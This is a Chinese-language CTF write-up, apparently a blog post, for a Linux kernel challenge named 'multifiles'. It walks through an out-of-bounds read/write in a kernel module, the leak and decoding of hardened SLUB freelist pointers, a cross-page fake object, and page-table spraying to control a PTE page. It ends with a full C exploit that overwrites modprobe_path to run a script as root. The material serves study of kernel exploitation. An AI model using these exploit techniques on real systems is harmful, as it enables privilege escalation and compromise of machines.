multifiles

这题先看multifiles.c源码

multifiles_readmultifiles_write可以看出我们read和wrtie都是操作的 ((u8 *) &multi_file->data[0]) + old_offset,也就是我们是从 multifile + 0x20开始读写,但是read和write和llseek都是以 sizeof(MultiFile)为边界的,也就是我们的offset有0x9f(sizeof(multifile)为0xa0,但是边界是<=,所以只有0x9f),这里我们就有一个越界读写了,可以先算算能越界到哪里,假设我们现在create了multifile_a和multifile_b

A.data 起点在 A + 0x20

允许访问到 A + 0x20 + 0x9f = A + 0xbf

B 起点是 A + 0xa0

所以我们能越界的是:

B + 0x00 到 B + 0x1f

也就是能碰到:

B.type

B.flags

B.name

但是这里在diff文件里,我们可以看到这里限制 kmem_cache_has_object(cachep, to),这里会检查是否是我们规定的cachep

    multifiles_cache = kmem_cache_create_usercopy(
        MODULE_NAME "_cache",
        sizeof(MultiFile),
        0,
        SLAB_NO_MERGE,
        offsetof(MultiFile, name),
        USERCOPY_SIZE,
        NULL
    );
    if (multifiles_cache == NULL) {
        return -ENOMEM;
    }

这里我们可以看到这里cachep限制的是从multifile的name开始

#define USERCOPY_SIZE (sizeof(u64) * DATA_COUNT + sizeof(char) * NAME_SIZE)

也就是限制在整个name到整个data区

所以我们的读写范围只能在multifile的name到data区

注意,我们前面计算出的B + 0x00 到 B + 0x1f是我们写入的起始位置的范围,我们读写的长度是 count,而count的范围限制在0x40一下,所以我们实际能读写的就是B的name区和data区的前0x30(B + 0x20 到 B +0x60)

这里要先了解slub和freelist机制

简单来说,SLUB 是 Linux 内核目前默认的内存分配器,负责管理各种大小的小块内存(称为 Objects)。

  1. 什么是 SLUB 分配器:

当内核需要创建一个结构体(比如 MultiFile)时,它不会直接找物理内存,而是向 SLUB 申请。

  • Slab/Cache: SLUB 为每种特定大小或类型的对象维护一个“仓库”,称为 Cache。
  • Object: 仓库里的每一个“小格子”就是一个 Object。
  • Slab Page: 仓库由一个或多个物理内存页组成,这些页被划分为许多等大的 Object。
  1. Freelist 机制:

SLUB 使用了 Freelist 机制,知道哪些 Object 是空闲的

Freelist 实际上是一个单向链表。为了节省空间,内核并不会额外开辟内存来存这个链表,而是直接利用处于空闲状态的 Object 内部的内存来存放指向“下一个空闲对象”的指针。

  • 当 Object 被使用时:里面存的是我们的数据(如 MultiFilenamedata)。
  • 当 Object 空闲(Free)时:里面会多出一个指针(Freelist Pointer),指向下一个可以被分配的 Object。
  1. Freelist Pointer 的位置规则

计算公式 ALIGN_DOWN(object_size / 2, 8) (是 SLUB 在没有开启特殊调试选项(如 CONFIG_SLUB_DEBUG)或特殊加固设置时的一种默认策略)

现代 SLUB 的放置逻辑:

为了防御攻击,内核引入了随机化和特定的偏移规则:

  1. 对象大小 (object_size): 0xa0 (160 字节)。
  2. 取中间值: 0xa0 / 2 = 0x50 (80 字节)。
  3. 对齐处理: ALIGN_DOWN(..., 8) 确保指针地址是 8 字节对齐的(在 64 位系统上,指针必须对齐)。
  4. 最终位置: 0x50

而前面我们提到,我们能利用A来越界读写B + 0x20 到 B + 0x60,也就是我们能读写B里面的freelist

这里我们exp里是这样接收泄露的

static u64 leak_encoded_freeptr(int fd, u32 a_idx)
{
    unsigned char buf[0x40];
    set_active(fd, a_idx);
    lseek(fd, 0x98, SEEK_SET);
    ssize_t n = read(fd, buf, sizeof(buf));
    return *(u64 *)(buf + 0x38);
}

A + 0x20 + 0x98 = B + 0x18,buf是40字节,也就是buf是B + 0x18 到B + 0x58的内容,那buf + 0x38就是B + 0x50也就是我们存放freeptr的地方,这样我们久泄露了freeptr

但是这题开了 SLAB_FREELIST_HARDENED,所以 free object 里的 next 指针会被编码,我们泄露的其实是加密后的encode

encoded = next ^ secret ^ swab(freeptr_addr)

其中:

  • next = freelist 里的下一个对象地址
  • secret = 本 cache 的 safe-linking secret
  • freeptr_addr = 当前这个 freelist 字段自己所在的位置
  • swab() = 字节交换

这里freelist 字段在B偏移 0x50,那么freeptr_addr就是 B + 0x50

也就是enc(B) = next(B) ^ secret ^ swab(B+0x50)

所以我们只泄露一个encode是无法后续伪造freelist的,我们要再泄露一次

我们假设第一次泄露的是enc1,enc1 = next1 ^ secret ^ swab(B+0x50)

这里我们有三个未知量:

  • next1
  • secret
  • B 的地址

我们怎么能再泄露一次让我们能解出这三个未知量呢,我们要把这个freeobject放到freelist尾部

这里一个slab page是4096字节,我们一个object(multifile是160字节),也就是一页最多放25我们的object

  • 初始状态(空页):25 个对象全是空闲的,它们连在一起:ObjA -> ObjB -> Obj3 -> ... -> Obj25 -> NULL
  • 创建 25 个后(满页):此时,这页内存的 freelist 记录为 NULL
  • 删除第 2 个:我们把 Obj2 释放了,这页内存的 freelist会指向 ObjB,由于此时这页内存里只有 Obj2 是空闲的,那么 Obj2 内部存储的next自然就是 NULL

那此时我们再跟前面一样利用A越界泄露B存的enc2,enc_2 = 0 ^ secret ^ swab(B+0x50),那此时我们enc1和enc2异或可以得到enc1 ^ enc2 = next,这里的next也就是obj3的地址,也就是我们泄露了两次能获得obj3的地址

那我们又知道一个object的大小(multfile的大小),那B = C - 0xa0,那我们是不是就能获得B的地址了,那我们最开始的那三个未知数已经知道了两个,那我们也就能求出secret,我们就成功获得了伪造freelist的公式

接下来我们要制造跨页fake object

这里我们知道B的地址,那只要把B的低12位清空我们就得到了B所在的slab page的基地址 u64 slab_base = b_addr & ~0xfffULL;

我们前面计算过:

0x1000 / 0xa0 = 25 余 0x60

也就是第25个obj的结尾再slab_base + 0xfa0的位置

那假设我们把freelist 伪造成:

fake = slab_base + 0xfa0

那此时我们利用这个slab_base申请出的object就是一个跨页的object(注意,我们这个跨页的object的encode要填充成next为null的encode,防止后面kmalloc出错)

我们的exp实现上面整个制造跨页object的函数是:

static int setup_fake(u32 *fake_idx)
{
    int fd = open(DEV_PATH, O_RDWR);
    long a = create_file(fd, "AAAAAAAAAAAAAAAA");
    long b = create_file(fd, "BBBBBBBBBBBBBBBB");

    delete_file(fd, (u32)b);
    u64 enc_next = leak_encoded_freeptr(fd, (u32)a);

    long r = create_file(fd, "RRRRRRRRRRRRRRRR");

    for (int i = 2; i < 25; i++)
    {
        char name[16];
        memset(name, 'a' + (i % 26), 15);
        name[15] = '\0';
        create_file(fd, name);
    }

    delete_file(fd, (u32)r);
    u64 enc_null = leak_encoded_freeptr(fd, 0);

    u64 next_obj = enc_next ^ enc_null;
    u64 b_addr = next_obj - 0xa0;
    u64 fp_addr = b_addr + 0x50;
    u64 secret = enc_null ^ swab64(fp_addr);
    u64 slab_base = b_addr & ~0xfffULL;

    u64 fake_addr = slab_base + 0xfa0;
    u64 fake_fp = fake_addr + 0x50;
    u64 enc_fake = encoded_fake(fake_addr, secret, fp_addr);
    u64 enc_fake_null = encoded_fake(0, secret, fake_fp);

    write_encoded_freeptr(fd, 24, enc_fake_null);
    write_encoded_freeptr(fd, 0, enc_fake);

    long real_b = create_file(fd, "REALBBBBBBBBBBBB");
    long fake = create_file(fd, "FAKEFFFFFFFFFFF");

    *fake_idx = (u32)fake;
    return fd;
}

我们有了一个跨页的fake object读写能力,但是这个能力还不是很强,我们要spray PIE

PTE Page(页表条目页)是指引 CPU 如何从虚拟地址找到物理地址。

PTE Page 实际上是一个标准的 4KB 物理页。但这个页里不存你的数据,而是整整齐齐地存了 512 个 PTE 条目(每个条目 8 字节,512 * 8 = 4096字节)。

PTE 条目的内部结构:

每一个 PTE 条目(8 字节/64 位)都决定了一个虚拟页的“生死”和“权限”。其位布局如下:

  • Bit 0 (P - Present): 物理页是否存在于内存中。
  • Bit 1 (R/W - Read/Write): 是否可写。
  • Bit 2 (U/S - User/Supervisor): 用户态是否可访问。
  • Bit 63 (NX - No Execute): 是否禁止执行代码。
  • Bits 12-51 (PFN - Physical Frame Number): 真正指向的物理内存地址。

如果我们能控制一个 PTE 条目,就有:

  1. 任意读写:我们可以把一个我们拥有权限的虚拟地址,通过修改 PTE 的 PFN 指向内核任何地方(比如 cred 结构体或 modprobe_path)。
  2. 权限提升:我们可以为一个只读的内核内存页强行开启 R/W 位,或者为用户态地址开启内核执行权限(绕过 SMEP/SMAP)。

那我们就要想办法把我们下一页变成PTE page,这样我们就能利用fake object跨页控制PTE page

页表喷射(Page Table Spraying):

  • 原理:用户态通过 mmap 大量内存并对每个 2MB 区域进行一次写入,迫使内核分配成千上万个 PTE Pages。
  • 目的:让这些 PTE Page 占据原本由 SLUB 管理的内存区域。
  • 结合漏洞:我们能利用跨页读写能力改写一个落在 SLUB 里的对象,而这个对象刚好被 PTE Page 覆盖了,我们就能控制PTE page。

我们exp中是这样的:

static void spray_one_pte_mapping(int idx)
{
    size_t len = 0x400000;
    char *base = mmap(NULL, len, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);

    uintptr_t aligned = ((uintptr_t)base + 0x1fffff) & ~0x1fffffULL;

    g_map = base;
    g_aligned = (void *)aligned;

    for (int j = 1; j < 8; j++)
    {
        volatile char *p = (char *)(aligned + j * 0x1000);
        *p = (char)(0x40 + idx + j);
    }
}
  • size_t len = 0x400000;
    先申请 4MB 的空间。申请 4MB 是为了确保跨越至少两个 2MB 边界,方便后续对齐。

  • mmap(NULL, len, ...);
    在用户态申请匿名映射内存。注意此时内核只是给了虚拟地址,并没有真正分配物理内存,也没有创建底层的 PTE 页表。

  • uintptr_t aligned = ((uintptr_t)base + 0x1fffff) & ~0x1fffffULL;
    0x1fffff 是 2MB - 1。这段位运算将地址向上对齐到 2MB 边界。

    • 原理:在 Linux 的四级页表体系中,一个 PTE Page(4KB)正好负责映射 512 个 4KB 页,也就是 2MB。
    • 目的:对齐到 2MB 边界,是为了确保接下来我们要touch的这些地址,都属于同一个特定的 PTE Page 管理范围。
  • for (int j = 1; j < 8; j++) { ... *p = ...; }
    这个循环在Touch刚刚申请的内存。

    • 为什么用 volatile? 防止编译器优化掉这个写入操作。
    • 为什么要写数据? 当我们向一个刚 mmap 的地址写入数据时,会触发一个 缺页异常(Page Fault)。内核意识到你需要用这块地了,于是它会:
      1. 分配一个物理页。
      2. 分配一个 PTE Page(如果这块 2MB 区域对应的页表还没建立的话)。
      3. 在 PTE Page 里填入映射关系。

简单来说,我们用mmap圈了4MB的地,但是此时还没分配PTE page(PTE page本身的大小是一页4kb,但是它有512个条目,每个条目对应的是一页,也就是4kb,所以说分配一个PTE page实际上要分配2MB的大小供PTE page映射)等到我们用for循环开始往条目1到7写入的时候,内核会真正分配2MB的空间,有概率会把PTE page 放到slub管理的内存区域,我们就完成了一次页表喷射。

这题我采用的是建一个跨页的fake object,然后完成一次页表喷射,然后检查是否成功,如果不成功就循环再创建fake object

这里检查用的是

static void read_fake_qwords(int fd, u32 fake_idx, u64 *out)
{
    unsigned char buf[0x40];
    set_active(fd, fake_idx);
    lseek(fd, 0x38, SEEK_SET);
    ssize_t n = read(fd, buf, sizeof(buf));
    memcpy(out, buf, 0x40);
}

fake object 起点在 slab+0xfa0

data 起点在 fake+0x20 = slab+0xfc0

所以:

offset=0x38 时,读起点是 slab+0xfc0+0x38 = slab+0xff8

offset=0x40 时,读起点是 slab+0xfc0+0x40 = next_page+0x0

这题能跨页读的前提是:

  • 起始地址仍然在 slab 内
  • 然后 count 跨到下一页

0x38 满足这个条件,因为起点还在 slab+0xff8。
0x40 不满足,因为起点已经直接落到 next_page 了。patched usercopy/helper 会把这次 copy 判掉,所以这里从fake_idx + 0x38开始读,我们传入的是q[8]数组,所以q[1]是PTE page的第一条条目,我们第一条条目故意没设置,所以肯定是0。

        int pte = 0;
        for (int k = 2; k < 8; k++)
        {
            u64 low = q[k] & 0xfff;
            if ((q[k] & 1) &&
                (low == 0x67 || low == 0x25 || low == 0x867))
            {
                pte++;
            }
        }

我们是通过检查PTE条目的低12位标志判断是否成功撞上的

现在我们只要这样改:
q[1] = (phys & ~0xfffULL) | 0x8000000000000067ULL;

q[1] 改成想映射的物理页 phys,flags 用 ...067,也就是 present/rw/user 这一套

有了修改PTE page能力之后我们该怎么利用呢,在exp的main的开头有这一个函数:

static void install_helper(void)
{
    int fd = open("/home/ctf/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
    const char *s =
        "#!/bin/sh\n"
        "cat /root/flag.txt > /home/ctf/f\n"
        "chmod 666 /home/ctf/f\n";

    write(fd, s, strlen(s));
    close(fd);
    chmod("/home/ctf/x", 0777);

    fd = open("/home/ctf/bad", O_WRONLY | O_CREAT | O_TRUNC, 0777);

    const unsigned char bad[] = {0xff, 0xff, 0xff, 0xff};
    write(fd, bad, sizeof(bad));
    close(fd);
    chmod("/home/ctf/bad", 0777);
}

这段函数的意思是我们先创建两个文件,一个是/home/ctf/x,另一个是/home/ctf/bad,其中,我们在/home/ctf/x这个文件里写cat flag的指令,如果这个文件能执行我们就能直接获得flag,我们在/home/ctf/bad的开头放了0xffffffff这个垃圾数据,linux内核看不懂这个文件,会把这个文件失败为坏文件,

在 Linux 中,当我们尝试执行一个格式错误(内核不认识)的文件时(比如执行那个只有 0xffffffff/home/ctf/bad),内核会认为可能需要加载一些额外的模块来解析它。

此时,内核会去查看一个全局变量 modprobe_path(默认值通常是 /sbin/modprobe),并以Root 权限运行该路径指向的程序来尝试加载模块。

那只要我们把内核内存中的 modprobe_path 变量从 /sbin/modprobe 改写为 /ome/ctf/x``h,在用户态尝试运行那个坏文件:system("/home/ctf/bad");,内核发现 /home/ctf/bad 格式不对,于是立刻以Root 权限运行 modprobe_path 指向的文件(现在已经变成了 /home/ctf/x),/home/ctf/x 脚本以 Root 身份运行,成功读取 /root/flag.txt 并存入 /home/ctf/f

那我们的目标就是找到 modprobe_path 变量并修改它

但是由于开启了 KASLR(内核地址随机化),我们很难直接知道 modprobe_path 在内核虚拟内存里的确切位置。但是,modprobe_path 在物理内存里的内容是固定的字符串:"/sbin/modprobe"

            for (u64 phys = 0x100000; phys < 0x10000000ULL; phys += 0x1000)
            {
                map_phys_page(fd, fake_idx, (uintptr_t)g_aligned, phys);

                void *p = page + 0x940;
                if (memcmp(p, old, sizeof(old)) != 0)
                {
                    continue;
                }

                printf("[+] modprobe_path candidate phys=%llx off=0x940\n",
                       (unsigned long long)phys);

                memset(p, 0, 32);
                memcpy(p, newp, sizeof(newp));

                if (trigger_and_print() == 0)
                {
                    return 0;
                }

                memcpy(p, old, sizeof(old));
            }
  • for (u64 phys = 0x100000; ...; phys += 0x1000):从物理地址 0x100000(1MB)开始,以 4KB(一个页)为步长,一直扫描到 0x10000000(256MB)。

    static void map_phys_page(int fd, u32 fake_idx, uintptr_t aligned, u64 phys)
    {
        u64 q[8] = {0};
        mprotect((void *)aligned, 0x1000, PROT_READ | PROT_WRITE);
        mprotect((void *)aligned, 0x1000, PROT_NONE);
        q[0] = 0;
        q[1] = (phys & ~0xfffULL) | 0x8000000000000067ULL;
        write_fake_qwords(fd, fake_idx, q);
    }
    
  • map_phys_page(fd, fake_idx, (uintptr_t)g_aligned, phys);

    这里两句mprotct因为:TLB(Translation Lookaside Buffer,转换后备缓冲区)机制:

    CPU 是非常贪图效率的。它不会在每一次访问内存地址时,都去内存里查那四级页表,

    TLB 是 CPU 内部的缓存:它就像一个高速缓存,记录了最近使用过的“虚拟地址 ​\rightarrow 物理地址”的映射关系。同步危机:当我们通过漏洞在内存里修改了 PTE Page 时,你只是修改了内存里的数据。此时,CPU 的 TLB 缓存里可能还存着旧的映射关系。后果:如果没有刷新 TLB,当你随后访问 g_aligned 时,CPU 会直接去读 TLB。结果就是:我们的程序依然映射在原来的匿名内存上,根本没跳到你想要的 phys 物理地址。

    在 Linux 内核中,只要页面的权限发生变化(比如从可读写变成不可读),内核就必须确保这个变化立即生效。为了实现这一点,内核在处理 mprotect 系统调用时,会向 CPU 发出一条特殊的指令(如 INVLPG)或触发一个 TLB Shootdown(TLB 击落)。第一步:mprotect(..., PROT_READ | PROT_WRITE)强制内核确认该页面的状态,并可能触发一次刷新。第二步:mprotect(..., PROT_NONE),把页面设为“不可访问”,内核会彻底清除该地址在所有 CPU 核心上的 TLB 缓存,以防权限泄露,所以我们这两句mprotect就是为了刷新。

    我们利用这个函数就把PTE page的第一个条目改成了phys,也就是现在aligned到aligned+0x1000实际上映射的是phys那页

  • void *p = page + 0x940;:在特定的内核编译版本中,modprobe_path 变量在它所属的那 4KB 物理页中的偏移量是固定且已知的(这里是 0x940),这题题目给了system.map文件,我们在这个文件中可以看到ffffffff82341940 D modprobe_path,取页内偏移也就是低12位就是0x940。

一旦我们扫到了,我们按前面说的修改 modprobe_path/home/ctf/x,然后执行这个函数:

static void trigger(void)
{
    pid_t p = fork();
    if (p == 0)
    {
        execl("/home/ctf/bad", "bad", NULL);
        _exit(0);
    }
    waitpid(p, NULL, 0);
    usleep(250000);

    int fd = open("/home/ctf/f", O_RDONLY);
    char buf[256];
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    buf[n] = 0;
    puts(buf);
}

创造一个子进程,让那个子进程区触发读取坏文件,这样我们就成功获得flag了

EXP:

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>

static void *g_map;
static void *g_aligned;

typedef uint64_t u64;
typedef uint32_t u32;

typedef struct
{
    char name[16];
} MultiFileCreateReq;

#define DEV_PATH "/dev/multifiles"
#define CHAL_IOC_MAGIC 0xC7
#define CHAL_IOC_CREATE _IOW(CHAL_IOC_MAGIC, 0x01, MultiFileCreateReq)
#define CHAL_IOC_DELETE _IOW(CHAL_IOC_MAGIC, 0x02, u32)
#define CHAL_IOC_SET_ACTIVE _IOW(CHAL_IOC_MAGIC, 0x03, u32)

static long create_file(int fd, const char *name)
{
    MultiFileCreateReq req;
    memset(&req, 0, sizeof(req));
    strncpy(req.name, name, sizeof(req.name));
    return ioctl(fd, CHAL_IOC_CREATE, &req);
}

static void delete_file(int fd, u32 idx)
{
    ioctl(fd, CHAL_IOC_DELETE, idx);
}

static void set_active(int fd, u32 idx)
{
     ioctl(fd, CHAL_IOC_SET_ACTIVE, idx);
}

static u64 leak_encoded_freeptr(int fd, u32 a_idx)
{
    unsigned char buf[0x40];
    set_active(fd, a_idx);
    lseek(fd, 0x98, SEEK_SET);
    ssize_t n = read(fd, buf, sizeof(buf));
    return *(u64 *)(buf + 0x38);
}

static u64 swab64(u64 x)
{
    return __builtin_bswap64(x);
}

static u64 encoded_fake(u64 next, u64 secret, u64 fp_addr)
{
    return next ^ secret ^ swab64(fp_addr);
}

static void write_encoded_freeptr(int fd, u32 a_idx, u64 val)
{
    unsigned char buf[0x40];
    memset(buf, 0, sizeof(buf));
    memcpy(buf + 0x38, &val, 8);
    set_active(fd, a_idx);

    lseek(fd, 0x98, SEEK_SET);
    write(fd, buf, sizeof(buf)) != sizeof(buf);
}

static int setup_fake(u32 *fake_idx)
{
    int fd = open(DEV_PATH, O_RDWR);
    long a = create_file(fd, "AAAAAAAAAAAAAAAA");
    long b = create_file(fd, "BBBBBBBBBBBBBBBB");

    delete_file(fd, (u32)b);
    u64 enc_next = leak_encoded_freeptr(fd, (u32)a);

    long r = create_file(fd, "RRRRRRRRRRRRRRRR");

    for (int i = 2; i < 25; i++)
    {
        char name[16];
        memset(name, 'a' + (i % 26), 15);
        name[15] = '\0';
        create_file(fd, name);
    }

    delete_file(fd, (u32)r);
    u64 enc_null = leak_encoded_freeptr(fd, 0);

    u64 next_obj = enc_next ^ enc_null;
    u64 b_addr = next_obj - 0xa0;
    u64 fp_addr = b_addr + 0x50;
    u64 secret = enc_null ^ swab64(fp_addr);
    u64 slab_base = b_addr & ~0xfffULL;

    u64 fake_addr = slab_base + 0xfa0;
    u64 fake_fp = fake_addr + 0x50;
    u64 enc_fake = encoded_fake(fake_addr, secret, fp_addr);
    u64 enc_fake_null = encoded_fake(0, secret, fake_fp);

    write_encoded_freeptr(fd, 24, enc_fake_null);
    write_encoded_freeptr(fd, 0, enc_fake);

    long real_b = create_file(fd, "REALBBBBBBBBBBBB");
    long fake = create_file(fd, "FAKEFFFFFFFFFFF");

    *fake_idx = (u32)fake;
    return fd;
}

static void spray_one_pte_mapping(int idx)
{
    size_t len = 0x400000;
    char *base = mmap(NULL, len, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);

    uintptr_t aligned = ((uintptr_t)base + 0x1fffff) & ~0x1fffffULL;

    g_map = base;
    g_aligned = (void *)aligned;

    for (int j = 1; j < 8; j++)
    {
        volatile char *p = (char *)(aligned + j * 0x1000);
        *p = (char)(0x40 + idx + j);
    }
}

static void read_fake_qwords(int fd, u32 fake_idx, u64 *out)
{
    unsigned char buf[0x40];
    set_active(fd, fake_idx);
    lseek(fd, 0x38, SEEK_SET);
    ssize_t n = read(fd, buf, sizeof(buf));
    memcpy(out, buf, 0x40);
}

static void write_fake_qwords(int fd, u32 fake_idx, const u64 *in)
{
    unsigned char buf[0x40];
    memcpy(buf, in, 0x40);
    set_active(fd, fake_idx);
    lseek(fd, 0x38, SEEK_SET);
    write(fd, buf, sizeof(buf)) != sizeof(buf);
}

static void map_phys_page(int fd, u32 fake_idx, uintptr_t aligned, u64 phys)
{
    u64 q[8] = {0};
    mprotect((void *)aligned, 0x1000, PROT_READ | PROT_WRITE);
    mprotect((void *)aligned, 0x1000, PROT_NONE);
    q[0] = 0;
    q[1] = (phys & ~0xfffULL) | 0x8000000000000067ULL;
    write_fake_qwords(fd, fake_idx, q);
}

static void install_helper(void)
{
    int fd = open("/home/ctf/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
    const char *s =
        "#!/bin/sh\n"
        "cat /root/flag.txt > /home/ctf/f\n"
        "chmod 666 /home/ctf/f\n";

    write(fd, s, strlen(s));
    close(fd);
    chmod("/home/ctf/x", 0777);

    fd = open("/home/ctf/bad", O_WRONLY | O_CREAT | O_TRUNC, 0777);

    const unsigned char bad[] = {0xff, 0xff, 0xff, 0xff};
    write(fd, bad, sizeof(bad));
    close(fd);
    chmod("/home/ctf/bad", 0777);
}

static void trigger(void)
{
    pid_t p = fork();
    if (p == 0)
    {
        execl("/home/ctf/bad", "bad", NULL);
        _exit(0);
    }
    waitpid(p, NULL, 0);
    usleep(250000);

    int fd = open("/home/ctf/f", O_RDONLY);
    char buf[256];
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    buf[n] = 0;
    puts(buf);
}

int main(void)
{
    install_helper();

    for (int attempt = 0; attempt < 220; attempt++)
    {
        u32 fake_idx;
        int fd = setup_fake(&fake_idx);

        spray_one_pte_mapping(attempt);

        u64 q[8];
        read_fake_qwords(fd, fake_idx, q);

        int pte = 0;
        for (int k = 2; k < 8; k++)
        {
            u64 low = q[k] & 0xfff;
            if ((q[k] & 1) &&
                (low == 0x67 || low == 0x25 || low == 0x867))
            {
                pte++;
            }
        }

        if (pte >= 4 && q[1] == 0)
        {
            const char old[] = "/sbin/modprobe";
            const char newp[] = "/home/ctf/x";
            char *page = (char *)g_aligned;

            for (u64 phys = 0x100000; phys < 0x10000000ULL; phys += 0x1000)
            {
                map_phys_page(fd, fake_idx, (uintptr_t)g_aligned, phys);

                void *p = page + 0x940;
                if (memcmp(p, old, sizeof(old)) != 0)
                {
                    continue;
                }

                memset(p, 0, 32);
                memcpy(p, newp, sizeof(newp));
                trigger();
            }

            printf("modprobe_path not found/worked\n");
            return 0;
        }

    }
    printf("no PTE hit\n");
    return 0;
}

远程执行时有可能不是很稳,可以重复试几次。

题目链接:待更新


multifiles
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-qgKtmM7g
作者
ZenDuk
发布于
2026年04月25日
许可协议